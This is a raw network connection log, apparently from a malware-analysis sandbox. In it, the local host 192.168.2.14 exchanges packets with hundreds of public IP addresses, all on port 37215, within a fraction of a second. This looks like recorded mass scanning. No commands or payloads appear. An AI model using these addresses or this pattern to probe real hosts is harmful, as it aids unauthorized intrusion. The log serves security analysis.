Aug 1, 2024 15:35:02.489556074 CEST	37215	60372	157.10.65.187	192.168.2.14
Aug 1, 2024 15:35:02.489568949 CEST	37215	49242	41.115.43.13	192.168.2.14
Aug 1, 2024 15:35:02.489578962 CEST	37215	48390	41.196.91.169	192.168.2.14
Aug 1, 2024 15:35:02.489589930 CEST	37215	60100	157.43.138.151	192.168.2.14
Aug 1, 2024 15:35:02.489593029 CEST	60372	37215	192.168.2.14	157.10.65.187
Aug 1, 2024 15:35:02.489598036 CEST	49242	37215	192.168.2.14	41.115.43.13
Aug 1, 2024 15:35:02.489608049 CEST	37215	40436	41.44.101.93	192.168.2.14
Aug 1, 2024 15:35:02.489618063 CEST	48390	37215	192.168.2.14	41.196.91.169
Aug 1, 2024 15:35:02.489619017 CEST	60100	37215	192.168.2.14	157.43.138.151
Aug 1, 2024 15:35:02.489633083 CEST	37215	53714	157.22.175.91	192.168.2.14
Aug 1, 2024 15:35:02.489644051 CEST	37215	51544	157.52.213.73	192.168.2.14
Aug 1, 2024 15:35:02.489650965 CEST	40436	37215	192.168.2.14	41.44.101.93
Aug 1, 2024 15:35:02.489653111 CEST	37215	57966	197.239.122.88	192.168.2.14
Aug 1, 2024 15:35:02.489666939 CEST	37215	43356	157.6.42.244	192.168.2.14
Aug 1, 2024 15:35:02.489675045 CEST	53714	37215	192.168.2.14	157.22.175.91
Aug 1, 2024 15:35:02.489675045 CEST	51544	37215	192.168.2.14	157.52.213.73
Aug 1, 2024 15:35:02.489689112 CEST	37215	43688	185.156.229.7	192.168.2.14
Aug 1, 2024 15:35:02.489698887 CEST	37215	34298	197.183.49.28	192.168.2.14
Aug 1, 2024 15:35:02.489707947 CEST	37215	39292	157.176.142.163	192.168.2.14
Aug 1, 2024 15:35:02.489712000 CEST	37215	58592	48.243.49.3	192.168.2.14
Aug 1, 2024 15:35:02.489722013 CEST	37215	56162	8.230.138.92	192.168.2.14
Aug 1, 2024 15:35:02.489732027 CEST	37215	43850	197.220.94.188	192.168.2.14
Aug 1, 2024 15:35:02.489742041 CEST	37215	41642	157.218.53.40	192.168.2.14
Aug 1, 2024 15:35:02.489752054 CEST	37215	35796	36.233.5.221	192.168.2.14
Aug 1, 2024 15:35:02.489756107 CEST	37215	49654	41.34.233.205	192.168.2.14
Aug 1, 2024 15:35:02.489759922 CEST	37215	52210	107.49.234.18	192.168.2.14
Aug 1, 2024 15:35:02.489768982 CEST	37215	53762	41.144.83.214	192.168.2.14
Aug 1, 2024 15:35:02.489778996 CEST	37215	58088	197.231.131.105	192.168.2.14
Aug 1, 2024 15:35:02.490044117 CEST	37215	42928	197.69.9.217	192.168.2.14
Aug 1, 2024 15:35:02.490055084 CEST	37215	60866	157.107.254.47	192.168.2.14
Aug 1, 2024 15:35:02.490056992 CEST	54932	37215	192.168.2.14	41.159.59.161
Aug 1, 2024 15:35:02.490123987 CEST	37215	43266	197.102.205.1	192.168.2.14
Aug 1, 2024 15:35:02.490201950 CEST	37215	39738	157.63.206.143	192.168.2.14
Aug 1, 2024 15:35:02.490211964 CEST	37215	35528	184.229.118.121	192.168.2.14
Aug 1, 2024 15:35:02.490225077 CEST	37215	59100	197.252.216.239	192.168.2.14
Aug 1, 2024 15:35:02.490299940 CEST	37215	60072	197.220.9.78	192.168.2.14
Aug 1, 2024 15:35:02.490309954 CEST	37215	55946	51.57.195.108	192.168.2.14
Aug 1, 2024 15:35:02.490322113 CEST	37215	42950	157.134.206.212	192.168.2.14
Aug 1, 2024 15:35:02.490333080 CEST	37215	54230	157.192.203.125	192.168.2.14
Aug 1, 2024 15:35:02.490341902 CEST	60072	37215	192.168.2.14	197.220.9.78
Aug 1, 2024 15:35:02.490341902 CEST	55946	37215	192.168.2.14	51.57.195.108
Aug 1, 2024 15:35:02.490356922 CEST	37215	39514	41.148.54.40	192.168.2.14
Aug 1, 2024 15:35:02.490359068 CEST	42950	37215	192.168.2.14	157.134.206.212
Aug 1, 2024 15:35:02.490367889 CEST	37215	38094	197.29.157.243	192.168.2.14
Aug 1, 2024 15:35:02.490370035 CEST	54230	37215	192.168.2.14	157.192.203.125
Aug 1, 2024 15:35:02.490389109 CEST	37215	39292	157.176.142.163	192.168.2.14
Aug 1, 2024 15:35:02.490394115 CEST	39514	37215	192.168.2.14	41.148.54.40
Aug 1, 2024 15:35:02.490400076 CEST	37215	46296	41.163.84.58	192.168.2.14
Aug 1, 2024 15:35:02.490406990 CEST	38094	37215	192.168.2.14	197.29.157.243
Aug 1, 2024 15:35:02.490410089 CEST	37215	45024	197.59.205.196	192.168.2.14
Aug 1, 2024 15:35:02.490421057 CEST	37215	43688	185.156.229.7	192.168.2.14
Aug 1, 2024 15:35:02.490428925 CEST	37215	34298	197.183.49.28	192.168.2.14
Aug 1, 2024 15:35:02.490438938 CEST	37215	57966	197.239.122.88	192.168.2.14
Aug 1, 2024 15:35:02.490449905 CEST	37215	43356	157.6.42.244	192.168.2.14
Aug 1, 2024 15:35:02.490459919 CEST	37215	58110	41.130.132.35	192.168.2.14
Aug 1, 2024 15:35:02.490468025 CEST	37215	41544	41.63.51.246	192.168.2.14
Aug 1, 2024 15:35:02.490478992 CEST	37215	45462	64.21.107.149	192.168.2.14
Aug 1, 2024 15:35:02.490488052 CEST	37215	57890	57.81.121.191	192.168.2.14
Aug 1, 2024 15:35:02.490504026 CEST	37215	52940	157.115.87.61	192.168.2.14
Aug 1, 2024 15:35:02.490514040 CEST	37215	54864	157.170.80.123	192.168.2.14
Aug 1, 2024 15:35:02.490638971 CEST	48212	37215	192.168.2.14	197.136.227.39
Aug 1, 2024 15:35:02.490942955 CEST	37215	52074	41.176.203.250	192.168.2.14
Aug 1, 2024 15:35:02.490983963 CEST	52074	37215	192.168.2.14	41.176.203.250
Aug 1, 2024 15:35:02.491179943 CEST	43186	37215	192.168.2.14	197.90.182.70
Aug 1, 2024 15:35:02.491873980 CEST	33994	37215	192.168.2.14	41.70.244.177
Aug 1, 2024 15:35:02.492238998 CEST	40190	37215	192.168.2.14	157.53.248.63
Aug 1, 2024 15:35:02.492439032 CEST	37215	51162	41.225.20.129	192.168.2.14
Aug 1, 2024 15:35:02.492450953 CEST	37215	34002	41.212.19.162	192.168.2.14
Aug 1, 2024 15:35:02.492460012 CEST	37215	33506	41.201.70.233	192.168.2.14
Aug 1, 2024 15:35:02.492470026 CEST	37215	39212	219.216.78.36	192.168.2.14
Aug 1, 2024 15:35:02.492486000 CEST	34002	37215	192.168.2.14	41.212.19.162
Aug 1, 2024 15:35:02.492497921 CEST	37215	54426	41.215.173.75	192.168.2.14
Aug 1, 2024 15:35:02.492502928 CEST	51162	37215	192.168.2.14	41.225.20.129
Aug 1, 2024 15:35:02.492507935 CEST	33506	37215	192.168.2.14	41.201.70.233
Aug 1, 2024 15:35:02.492513895 CEST	39212	37215	192.168.2.14	219.216.78.36
Aug 1, 2024 15:35:02.492520094 CEST	37215	47352	97.244.160.28	192.168.2.14
Aug 1, 2024 15:35:02.492530107 CEST	37215	49932	157.127.47.204	192.168.2.14
Aug 1, 2024 15:35:02.492537022 CEST	54426	37215	192.168.2.14	41.215.173.75
Aug 1, 2024 15:35:02.492538929 CEST	37215	39150	41.119.4.29	192.168.2.14
Aug 1, 2024 15:35:02.492548943 CEST	37215	50090	43.192.71.169	192.168.2.14
Aug 1, 2024 15:35:02.492558002 CEST	37215	47144	52.84.82.103	192.168.2.14
Aug 1, 2024 15:35:02.492568016 CEST	37215	35600	41.213.204.168	192.168.2.14
Aug 1, 2024 15:35:02.492587090 CEST	37215	44512	157.4.128.216	192.168.2.14
Aug 1, 2024 15:35:02.492597103 CEST	37215	37044	125.214.106.245	192.168.2.14
Aug 1, 2024 15:35:02.492609024 CEST	37215	40560	157.163.53.82	192.168.2.14
Aug 1, 2024 15:35:02.492619038 CEST	37215	41502	41.201.239.10	192.168.2.14
Aug 1, 2024 15:35:02.492629051 CEST	37215	40766	197.27.82.32	192.168.2.14
Aug 1, 2024 15:35:02.492639065 CEST	37215	55932	197.103.25.147	192.168.2.14
Aug 1, 2024 15:35:02.492647886 CEST	37215	39790	157.194.238.33	192.168.2.14
Aug 1, 2024 15:35:02.492657900 CEST	37215	37198	157.252.188.170	192.168.2.14
Aug 1, 2024 15:35:02.492670059 CEST	37215	53016	41.123.241.29	192.168.2.14
Aug 1, 2024 15:35:02.492680073 CEST	37215	43524	41.145.10.110	192.168.2.14
Aug 1, 2024 15:35:02.492688894 CEST	37215	33912	197.167.205.37	192.168.2.14
Aug 1, 2024 15:35:02.492700100 CEST	37215	49102	157.205.197.163	192.168.2.14
Aug 1, 2024 15:35:02.492799044 CEST	43312	37215	192.168.2.14	102.130.139.6
Aug 1, 2024 15:35:02.493318081 CEST	52984	37215	192.168.2.14	41.82.31.72
Aug 1, 2024 15:35:02.493343115 CEST	37215	39472	41.175.170.216	192.168.2.14
Aug 1, 2024 15:35:02.493355036 CEST	37215	39808	157.69.202.15	192.168.2.14
Aug 1, 2024 15:35:02.493397951 CEST	39808	37215	192.168.2.14	157.69.202.15
Aug 1, 2024 15:35:02.493434906 CEST	37215	56240	209.177.156.74	192.168.2.14
Aug 1, 2024 15:35:02.493446112 CEST	37215	52234	41.114.52.253	192.168.2.14
Aug 1, 2024 15:35:02.493455887 CEST	37215	45278	41.168.229.204	192.168.2.14
Aug 1, 2024 15:35:02.493465900 CEST	37215	38670	157.34.147.49	192.168.2.14
Aug 1, 2024 15:35:02.493474007 CEST	37215	40894	197.217.139.221	192.168.2.14
Aug 1, 2024 15:35:02.493530989 CEST	37215	41694	41.197.130.99	192.168.2.14
Aug 1, 2024 15:35:02.493541956 CEST	37215	59808	41.17.227.32	192.168.2.14
Aug 1, 2024 15:35:02.493551970 CEST	37215	48528	197.137.75.181	192.168.2.14
Aug 1, 2024 15:35:02.493561983 CEST	37215	55022	197.82.223.181	192.168.2.14
Aug 1, 2024 15:35:02.493571997 CEST	37215	60900	41.35.113.38	192.168.2.14
Aug 1, 2024 15:35:02.493582010 CEST	37215	35570	41.95.152.174	192.168.2.14
Aug 1, 2024 15:35:02.493598938 CEST	37215	37064	197.157.64.128	192.168.2.14
Aug 1, 2024 15:35:02.493607998 CEST	37215	53072	157.119.255.44	192.168.2.14
Aug 1, 2024 15:35:02.493618965 CEST	37215	60784	98.172.95.185	192.168.2.14
Aug 1, 2024 15:35:02.493628979 CEST	35570	37215	192.168.2.14	41.95.152.174
Aug 1, 2024 15:35:02.493629932 CEST	37064	37215	192.168.2.14	197.157.64.128
Aug 1, 2024 15:35:02.493640900 CEST	53072	37215	192.168.2.14	157.119.255.44
Aug 1, 2024 15:35:02.493649960 CEST	60784	37215	192.168.2.14	98.172.95.185
Aug 1, 2024 15:35:02.493822098 CEST	37215	33598	41.10.20.35	192.168.2.14
Aug 1, 2024 15:35:02.493834019 CEST	37215	47106	157.230.8.52	192.168.2.14
Aug 1, 2024 15:35:02.493843079 CEST	37215	37678	157.174.67.71	192.168.2.14
Aug 1, 2024 15:35:02.493854046 CEST	37215	35808	157.207.115.228	192.168.2.14
Aug 1, 2024 15:35:02.493861914 CEST	33598	37215	192.168.2.14	41.10.20.35
Aug 1, 2024 15:35:02.493863106 CEST	37215	37894	157.250.141.243	192.168.2.14
Aug 1, 2024 15:35:02.493864059 CEST	47106	37215	192.168.2.14	157.230.8.52
Aug 1, 2024 15:35:02.493874073 CEST	37215	54422	197.149.169.45	192.168.2.14
Aug 1, 2024 15:35:02.493882895 CEST	35808	37215	192.168.2.14	157.207.115.228
Aug 1, 2024 15:35:02.493882895 CEST	37215	60252	157.20.165.249	192.168.2.14
Aug 1, 2024 15:35:02.493892908 CEST	37894	37215	192.168.2.14	157.250.141.243
Aug 1, 2024 15:35:02.493896961 CEST	59074	37215	192.168.2.14	106.226.177.36
Aug 1, 2024 15:35:02.493895054 CEST	37678	37215	192.168.2.14	157.174.67.71
Aug 1, 2024 15:35:02.493901968 CEST	37215	38818	41.157.27.124	192.168.2.14
Aug 1, 2024 15:35:02.493910074 CEST	54422	37215	192.168.2.14	197.149.169.45
Aug 1, 2024 15:35:02.493920088 CEST	60252	37215	192.168.2.14	157.20.165.249
Aug 1, 2024 15:35:02.493946075 CEST	38818	37215	192.168.2.14	41.157.27.124
Aug 1, 2024 15:35:02.494407892 CEST	54620	37215	192.168.2.14	197.184.45.189
Aug 1, 2024 15:35:02.494925976 CEST	48334	37215	192.168.2.14	58.213.26.70
Aug 1, 2024 15:35:02.495434999 CEST	43246	37215	192.168.2.14	157.94.139.23
Aug 1, 2024 15:35:02.495954037 CEST	59814	37215	192.168.2.14	197.163.210.210
Aug 1, 2024 15:35:02.496475935 CEST	59918	37215	192.168.2.14	197.158.238.106
Aug 1, 2024 15:35:02.496999025 CEST	59470	37215	192.168.2.14	41.226.129.177
Aug 1, 2024 15:35:02.497368097 CEST	37215	45270	41.76.128.203	192.168.2.14
Aug 1, 2024 15:35:02.497378111 CEST	37215	34604	213.248.5.88	192.168.2.14
Aug 1, 2024 15:35:02.497412920 CEST	45270	37215	192.168.2.14	41.76.128.203
Aug 1, 2024 15:35:02.497421980 CEST	34604	37215	192.168.2.14	213.248.5.88
Aug 1, 2024 15:35:02.497570038 CEST	35348	37215	192.168.2.14	41.245.193.204
Aug 1, 2024 15:35:02.497919083 CEST	37215	52024	157.78.238.12	192.168.2.14
Aug 1, 2024 15:35:02.497961998 CEST	52024	37215	192.168.2.14	157.78.238.12
Aug 1, 2024 15:35:02.498110056 CEST	38834	37215	192.168.2.14	41.80.251.74
Aug 1, 2024 15:35:02.498655081 CEST	50248	37215	192.168.2.14	41.101.236.196
Aug 1, 2024 15:35:02.498800993 CEST	37215	44894	157.115.212.17	192.168.2.14
Aug 1, 2024 15:35:02.498811960 CEST	37215	54932	41.159.59.161	192.168.2.14
Aug 1, 2024 15:35:02.498846054 CEST	54932	37215	192.168.2.14	41.159.59.161
Aug 1, 2024 15:35:02.499177933 CEST	37215	57072	157.82.203.210	192.168.2.14
Aug 1, 2024 15:35:02.499195099 CEST	57074	37215	192.168.2.14	157.102.136.33
Aug 1, 2024 15:35:02.499439955 CEST	37215	48212	197.136.227.39	192.168.2.14
Aug 1, 2024 15:35:02.499450922 CEST	37215	43186	197.90.182.70	192.168.2.14
Aug 1, 2024 15:35:02.499455929 CEST	37215	33994	41.70.244.177	192.168.2.14
Aug 1, 2024 15:35:02.499459982 CEST	37215	40190	157.53.248.63	192.168.2.14
Aug 1, 2024 15:35:02.499464989 CEST	37215	43312	102.130.139.6	192.168.2.14
Aug 1, 2024 15:35:02.499502897 CEST	48212	37215	192.168.2.14	197.136.227.39
Aug 1, 2024 15:35:02.499504089 CEST	33994	37215	192.168.2.14	41.70.244.177
Aug 1, 2024 15:35:02.499506950 CEST	43312	37215	192.168.2.14	102.130.139.6
Aug 1, 2024 15:35:02.499509096 CEST	43186	37215	192.168.2.14	197.90.182.70
Aug 1, 2024 15:35:02.499509096 CEST	40190	37215	192.168.2.14	157.53.248.63
Aug 1, 2024 15:35:02.499572992 CEST	37215	52984	41.82.31.72	192.168.2.14
Aug 1, 2024 15:35:02.499613047 CEST	52984	37215	192.168.2.14	41.82.31.72
Aug 1, 2024 15:35:02.499736071 CEST	48280	37215	192.168.2.14	157.92.249.20
Aug 1, 2024 15:35:02.499948978 CEST	37215	59074	106.226.177.36	192.168.2.14
Aug 1, 2024 15:35:02.499959946 CEST	37215	54620	197.184.45.189	192.168.2.14
Aug 1, 2024 15:35:02.499994040 CEST	59074	37215	192.168.2.14	106.226.177.36
Aug 1, 2024 15:35:02.499998093 CEST	54620	37215	192.168.2.14	197.184.45.189
Aug 1, 2024 15:35:02.500277042 CEST	37215	48334	58.213.26.70	192.168.2.14
Aug 1, 2024 15:35:02.500284910 CEST	56248	37215	192.168.2.14	41.61.225.250
Aug 1, 2024 15:35:02.500313997 CEST	48334	37215	192.168.2.14	58.213.26.70
Aug 1, 2024 15:35:02.500327110 CEST	37215	43246	157.94.139.23	192.168.2.14
Aug 1, 2024 15:35:02.500369072 CEST	43246	37215	192.168.2.14	157.94.139.23
Aug 1, 2024 15:35:02.500822067 CEST	45580	37215	192.168.2.14	75.19.192.99
Aug 1, 2024 15:35:02.501025915 CEST	37215	59814	197.163.210.210	192.168.2.14
Aug 1, 2024 15:35:02.501068115 CEST	59814	37215	192.168.2.14	197.163.210.210
Aug 1, 2024 15:35:02.501336098 CEST	36072	37215	192.168.2.14	145.109.38.136
Aug 1, 2024 15:35:02.501852989 CEST	50120	37215	192.168.2.14	197.119.145.250
Aug 1, 2024 15:35:02.502041101 CEST	37215	45144	157.85.174.66	192.168.2.14
Aug 1, 2024 15:35:02.502402067 CEST	44810	37215	192.168.2.14	41.134.240.113
Aug 1, 2024 15:35:02.502933979 CEST	57194	37215	192.168.2.14	157.39.176.151
Aug 1, 2024 15:35:02.503475904 CEST	49954	37215	192.168.2.14	119.115.156.253
Aug 1, 2024 15:35:02.503719091 CEST	37215	59918	197.158.238.106	192.168.2.14
Aug 1, 2024 15:35:02.503767967 CEST	59918	37215	192.168.2.14	197.158.238.106
Aug 1, 2024 15:35:02.503911018 CEST	37215	59470	41.226.129.177	192.168.2.14
Aug 1, 2024 15:35:02.503957987 CEST	59470	37215	192.168.2.14	41.226.129.177
Aug 1, 2024 15:35:02.504036903 CEST	51154	37215	192.168.2.14	197.224.16.123
Aug 1, 2024 15:35:02.504132986 CEST	37215	35348	41.245.193.204	192.168.2.14
Aug 1, 2024 15:35:02.504146099 CEST	37215	38834	41.80.251.74	192.168.2.14
Aug 1, 2024 15:35:02.504158974 CEST	37215	50248	41.101.236.196	192.168.2.14
Aug 1, 2024 15:35:02.504168987 CEST	37215	57074	157.102.136.33	192.168.2.14
Aug 1, 2024 15:35:02.504179001 CEST	35348	37215	192.168.2.14	41.245.193.204
Aug 1, 2024 15:35:02.504182100 CEST	38834	37215	192.168.2.14	41.80.251.74
Aug 1, 2024 15:35:02.504190922 CEST	50248	37215	192.168.2.14	41.101.236.196
Aug 1, 2024 15:35:02.504206896 CEST	57074	37215	192.168.2.14	157.102.136.33
Aug 1, 2024 15:35:02.504467010 CEST	37215	46808	157.179.100.46	192.168.2.14
Aug 1, 2024 15:35:02.504616022 CEST	44572	37215	192.168.2.14	41.63.220.158
Aug 1, 2024 15:35:02.504699945 CEST	37215	48280	157.92.249.20	192.168.2.14
Aug 1, 2024 15:35:02.504745007 CEST	48280	37215	192.168.2.14	157.92.249.20
Aug 1, 2024 15:35:02.505147934 CEST	49568	37215	192.168.2.14	197.71.188.245
Aug 1, 2024 15:35:02.505248070 CEST	37215	56248	41.61.225.250	192.168.2.14
Aug 1, 2024 15:35:02.505294085 CEST	56248	37215	192.168.2.14	41.61.225.250
Aug 1, 2024 15:35:02.505642891 CEST	52368	37215	192.168.2.14	157.185.77.161
Aug 1, 2024 15:35:02.505753040 CEST	37215	37618	197.156.18.255	192.168.2.14
Aug 1, 2024 15:35:02.505764961 CEST	37215	45580	75.19.192.99	192.168.2.14
Aug 1, 2024 15:35:02.505815029 CEST	45580	37215	192.168.2.14	75.19.192.99
Aug 1, 2024 15:35:02.506071091 CEST	37215	36072	145.109.38.136	192.168.2.14
Aug 1, 2024 15:35:02.506115913 CEST	36072	37215	192.168.2.14	145.109.38.136
Aug 1, 2024 15:35:02.506149054 CEST	40742	37215	192.168.2.14	41.171.241.65
Aug 1, 2024 15:35:02.506315947 CEST	37215	54578	157.60.125.164	192.168.2.14
Aug 1, 2024 15:35:02.506639957 CEST	59818	37215	192.168.2.14	152.146.93.198
Aug 1, 2024 15:35:02.506803036 CEST	37215	57224	157.85.7.22	192.168.2.14
Aug 1, 2024 15:35:02.506814957 CEST	37215	50120	197.119.145.250	192.168.2.14
Aug 1, 2024 15:35:02.506855011 CEST	50120	37215	192.168.2.14	197.119.145.250
Aug 1, 2024 15:35:02.507157087 CEST	33788	37215	192.168.2.14	131.90.241.26
Aug 1, 2024 15:35:02.507158041 CEST	37215	44810	41.134.240.113	192.168.2.14
Aug 1, 2024 15:35:02.507204056 CEST	44810	37215	192.168.2.14	41.134.240.113
Aug 1, 2024 15:35:02.507416010 CEST	37215	37522	177.6.35.214	192.168.2.14
Aug 1, 2024 15:35:02.507596970 CEST	37215	37706	41.70.100.139	192.168.2.14
Aug 1, 2024 15:35:02.507639885 CEST	37215	57194	157.39.176.151	192.168.2.14
Aug 1, 2024 15:35:02.507649899 CEST	56964	37215	192.168.2.14	197.245.83.54
Aug 1, 2024 15:35:02.507684946 CEST	57194	37215	192.168.2.14	157.39.176.151
Aug 1, 2024 15:35:02.508112907 CEST	37215	41854	134.13.225.52	192.168.2.14
Aug 1, 2024 15:35:02.508124113 CEST	37215	51878	178.141.81.171	192.168.2.14
Aug 1, 2024 15:35:02.508138895 CEST	52594	37215	192.168.2.14	57.16.56.78
Aug 1, 2024 15:35:02.508629084 CEST	53060	37215	192.168.2.14	41.65.48.115
Aug 1, 2024 15:35:02.508771896 CEST	37215	35860	20.12.163.242	192.168.2.14
Aug 1, 2024 15:35:02.508784056 CEST	37215	49954	119.115.156.253	192.168.2.14
Aug 1, 2024 15:35:02.508821964 CEST	49954	37215	192.168.2.14	119.115.156.253
Aug 1, 2024 15:35:02.509160042 CEST	60652	37215	192.168.2.14	223.202.37.96
Aug 1, 2024 15:35:02.509305000 CEST	37215	43194	197.34.173.152	192.168.2.14
Aug 1, 2024 15:35:02.509361982 CEST	37215	49476	101.33.241.3	192.168.2.14
Aug 1, 2024 15:35:02.509521961 CEST	37215	60900	41.35.113.38	192.168.2.14
Aug 1, 2024 15:35:02.509536028 CEST	37215	51154	197.224.16.123	192.168.2.14
Aug 1, 2024 15:35:02.509572029 CEST	51154	37215	192.168.2.14	197.224.16.123
Aug 1, 2024 15:35:02.509603977 CEST	37215	44572	41.63.220.158	192.168.2.14
Aug 1, 2024 15:35:02.509615898 CEST	37215	55022	197.82.223.181	192.168.2.14
Aug 1, 2024 15:35:02.509643078 CEST	44572	37215	192.168.2.14	41.63.220.158
Aug 1, 2024 15:35:02.509660006 CEST	52014	37215	192.168.2.14	197.145.27.250
Aug 1, 2024 15:35:02.509917974 CEST	37215	59808	41.17.227.32	192.168.2.14
Aug 1, 2024 15:35:02.510009050 CEST	37215	48528	197.137.75.181	192.168.2.14
Aug 1, 2024 15:35:02.510020018 CEST	37215	49568	197.71.188.245	192.168.2.14
Aug 1, 2024 15:35:02.510051012 CEST	49568	37215	192.168.2.14	197.71.188.245
Aug 1, 2024 15:35:02.510195971 CEST	58878	37215	192.168.2.14	157.58.83.213
Aug 1, 2024 15:35:02.510210037 CEST	37215	45024	197.59.205.196	192.168.2.14
Aug 1, 2024 15:35:02.510404110 CEST	37215	52368	157.185.77.161	192.168.2.14
Aug 1, 2024 15:35:02.510452032 CEST	52368	37215	192.168.2.14	157.185.77.161
Aug 1, 2024 15:35:02.510683060 CEST	49370	37215	192.168.2.14	156.162.0.16
Aug 1, 2024 15:35:02.511163950 CEST	45038	37215	192.168.2.14	41.116.1.106
Aug 1, 2024 15:35:02.511589050 CEST	37215	40894	197.217.139.221	192.168.2.14
Aug 1, 2024 15:35:02.511661053 CEST	53860	37215	192.168.2.14	157.39.249.27
Aug 1, 2024 15:35:02.511693001 CEST	37215	40742	41.171.241.65	192.168.2.14
Aug 1, 2024 15:35:02.511733055 CEST	40742	37215	192.168.2.14	41.171.241.65
Aug 1, 2024 15:35:02.511749029 CEST	37215	59818	152.146.93.198	192.168.2.14
Aug 1, 2024 15:35:02.511790991 CEST	59818	37215	192.168.2.14	152.146.93.198
Aug 1, 2024 15:35:02.511976957 CEST	37215	33788	131.90.241.26	192.168.2.14
Aug 1, 2024 15:35:02.512023926 CEST	33788	37215	192.168.2.14	131.90.241.26
Aug 1, 2024 15:35:02.512027025 CEST	37215	41694	41.197.130.99	192.168.2.14
Aug 1, 2024 15:35:02.512168884 CEST	43110	37215	192.168.2.14	41.0.232.200
Aug 1, 2024 15:35:02.512415886 CEST	37215	56964	197.245.83.54	192.168.2.14
Aug 1, 2024 15:35:02.512459040 CEST	56964	37215	192.168.2.14	197.245.83.54
Aug 1, 2024 15:35:02.512468100 CEST	37215	44606	41.242.65.241	192.168.2.14
Aug 1, 2024 15:35:02.512698889 CEST	55488	37215	192.168.2.14	157.217.52.236
Aug 1, 2024 15:35:02.512957096 CEST	37215	52594	57.16.56.78	192.168.2.14
Aug 1, 2024 15:35:02.512989998 CEST	52594	37215	192.168.2.14	57.16.56.78
Aug 1, 2024 15:35:02.513210058 CEST	56134	37215	192.168.2.14	157.46.221.171
Aug 1, 2024 15:35:02.513376951 CEST	37215	53060	41.65.48.115	192.168.2.14
Aug 1, 2024 15:35:02.513422012 CEST	53060	37215	192.168.2.14	41.65.48.115
Aug 1, 2024 15:35:02.513670921 CEST	37215	56406	189.152.253.165	192.168.2.14
Aug 1, 2024 15:35:02.513708115 CEST	58972	37215	192.168.2.14	157.145.72.30
Aug 1, 2024 15:35:02.514091969 CEST	37215	59352	133.16.137.126	192.168.2.14
Aug 1, 2024 15:35:02.514105082 CEST	37215	60652	223.202.37.96	192.168.2.14
Aug 1, 2024 15:35:02.514154911 CEST	60652	37215	192.168.2.14	223.202.37.96
Aug 1, 2024 15:35:02.514195919 CEST	56934	37215	192.168.2.14	122.99.48.7
Aug 1, 2024 15:35:02.514688015 CEST	34134	37215	192.168.2.14	197.248.225.227
Aug 1, 2024 15:35:02.515060902 CEST	37215	39932	157.12.171.175	192.168.2.14
Aug 1, 2024 15:35:02.515181065 CEST	50330	37215	192.168.2.14	41.91.246.102
Aug 1, 2024 15:35:02.515419960 CEST	37215	42536	41.191.246.193	192.168.2.14
Aug 1, 2024 15:35:02.515563965 CEST	55406	37215	192.168.2.14	41.147.126.145
Aug 1, 2024 15:35:02.515587091 CEST	35558	37215	192.168.2.14	131.97.108.101
Aug 1, 2024 15:35:02.515626907 CEST	60486	37215	192.168.2.14	157.77.131.13
Aug 1, 2024 15:35:02.515639067 CEST	60682	37215	192.168.2.14	41.144.164.184
Aug 1, 2024 15:35:02.515652895 CEST	39956	37215	192.168.2.14	197.238.157.235
Aug 1, 2024 15:35:02.515682936 CEST	48266	37215	192.168.2.14	197.161.10.206
Aug 1, 2024 15:35:02.515697956 CEST	50496	37215	192.168.2.14	157.23.15.161
Aug 1, 2024 15:35:02.515717983 CEST	54586	37215	192.168.2.14	41.1.81.129
Aug 1, 2024 15:35:02.515729904 CEST	37215	54348	197.93.12.236	192.168.2.14
Aug 1, 2024 15:35:02.515741110 CEST	43288	37215	192.168.2.14	41.159.247.172
Aug 1, 2024 15:35:02.515741110 CEST	37215	35640	157.131.150.200	192.168.2.14
Aug 1, 2024 15:35:02.515757084 CEST	45494	37215	192.168.2.14	41.18.179.64
Aug 1, 2024 15:35:02.515779972 CEST	38482	37215	192.168.2.14	64.232.199.23
Aug 1, 2024 15:35:02.515790939 CEST	44052	37215	192.168.2.14	35.89.64.75
Aug 1, 2024 15:35:02.515814066 CEST	45526	37215	192.168.2.14	41.57.217.6
Aug 1, 2024 15:35:02.515827894 CEST	58600	37215	192.168.2.14	197.20.235.245
Aug 1, 2024 15:35:02.515846014 CEST	42198	37215	192.168.2.14	116.149.96.0
Aug 1, 2024 15:35:02.515865088 CEST	51454	37215	192.168.2.14	41.240.121.125
Aug 1, 2024 15:35:02.515888929 CEST	57482	37215	192.168.2.14	197.239.136.142
Aug 1, 2024 15:35:02.515908003 CEST	43568	37215	192.168.2.14	107.49.33.59
Aug 1, 2024 15:35:02.515923977 CEST	56964	37215	192.168.2.14	197.91.203.79
Aug 1, 2024 15:35:02.515935898 CEST	40078	37215	192.168.2.14	41.231.13.235
Aug 1, 2024 15:35:02.515955925 CEST	58534	37215	192.168.2.14	157.130.206.118
Aug 1, 2024 15:35:02.515978098 CEST	59326	37215	192.168.2.14	157.136.225.164
Aug 1, 2024 15:35:02.516000986 CEST	44898	37215	192.168.2.14	41.51.28.135
Aug 1, 2024 15:35:02.516020060 CEST	47644	37215	192.168.2.14	197.52.235.43
Aug 1, 2024 15:35:02.516037941 CEST	43764	37215	192.168.2.14	41.30.96.86
Aug 1, 2024 15:35:02.516058922 CEST	43976	37215	192.168.2.14	96.112.221.147
Aug 1, 2024 15:35:02.516072989 CEST	56920	37215	192.168.2.14	202.207.227.178
Aug 1, 2024 15:35:02.516093969 CEST	55432	37215	192.168.2.14	207.174.238.65
Aug 1, 2024 15:35:02.516108036 CEST	60372	37215	192.168.2.14	157.10.65.187
Aug 1, 2024 15:35:02.516125917 CEST	49242	37215	192.168.2.14	41.115.43.13
Aug 1, 2024 15:35:02.516143084 CEST	48390	37215	192.168.2.14	41.196.91.169
Aug 1, 2024 15:35:02.516165018 CEST	60100	37215	192.168.2.14	157.43.138.151
Aug 1, 2024 15:35:02.516175032 CEST	40436	37215	192.168.2.14	41.44.101.93
Aug 1, 2024 15:35:02.516191959 CEST	53714	37215	192.168.2.14	157.22.175.91
Aug 1, 2024 15:35:02.516206026 CEST	51544	37215	192.168.2.14	157.52.213.73
Aug 1, 2024 15:35:02.516228914 CEST	60072	37215	192.168.2.14	197.220.9.78
Aug 1, 2024 15:35:02.516246080 CEST	55946	37215	192.168.2.14	51.57.195.108
Aug 1, 2024 15:35:02.516258955 CEST	37215	55332	41.47.81.30	192.168.2.14
Aug 1, 2024 15:35:02.516269922 CEST	42950	37215	192.168.2.14	157.134.206.212
Aug 1, 2024 15:35:02.516285896 CEST	54230	37215	192.168.2.14	157.192.203.125
Aug 1, 2024 15:35:02.516304016 CEST	39514	37215	192.168.2.14	41.148.54.40
Aug 1, 2024 15:35:02.516331911 CEST	38094	37215	192.168.2.14	197.29.157.243
Aug 1, 2024 15:35:02.516336918 CEST	37215	50040	41.186.223.52	192.168.2.14
